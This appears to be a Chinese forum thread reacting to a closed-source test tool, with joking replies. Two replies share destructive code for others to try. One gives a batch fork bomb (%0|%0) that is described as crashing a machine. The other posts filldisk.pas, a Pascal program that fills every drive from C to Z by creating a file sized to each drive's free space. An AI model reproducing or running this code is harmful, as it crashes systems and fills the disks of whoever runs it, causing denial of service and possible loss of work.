测试版
目前只支持根目录下，没有撤销，写文件速度超慢，但以后会更新。暂不开源百度网盘

好棒好棒o(≥v≤)o~~
要是开源的话我就可以干坏事了

orz

作？死！

是不是bat指令。。。

Lz你是用真机测试还是用，虚拟机测试的.....

其实
lz
的k盘是空的

其实吧，想死机很简单，新建一个bat批处理文件，编辑，输入%0|%0，保存，双击，然后......

//试试看这个filldisk.pas
uses windows;
function s2pc(s:string):pchar;inline;
begin s:=s+#0;s2pc:=@s[1];end;
var c:char;
var f:handle;
var fs,ts,tf:int64;
begin
for c:='C' to 'Z' do
begin
write('Fill=',c,' ');
GetDiskFreeSpaceEx(s2pc(c+':'),fs,ts,@tf);
write('Space=',hi(fs):3,lo(fs):10,' ');
f:=CreateFile(s2pc(c+':\zuosi'),GENERIC_ALL,0,nil,OPEN_ALWAYS,0,0);
write('Create=',getlasterror:4,' ');
CreateFileMapping(f,nil,PAGE_READWRITE,hi(fs),lo(fs),nil);
writeln('Size=',getlasterror:4,' ');
end;
write('finish');
readln();
end.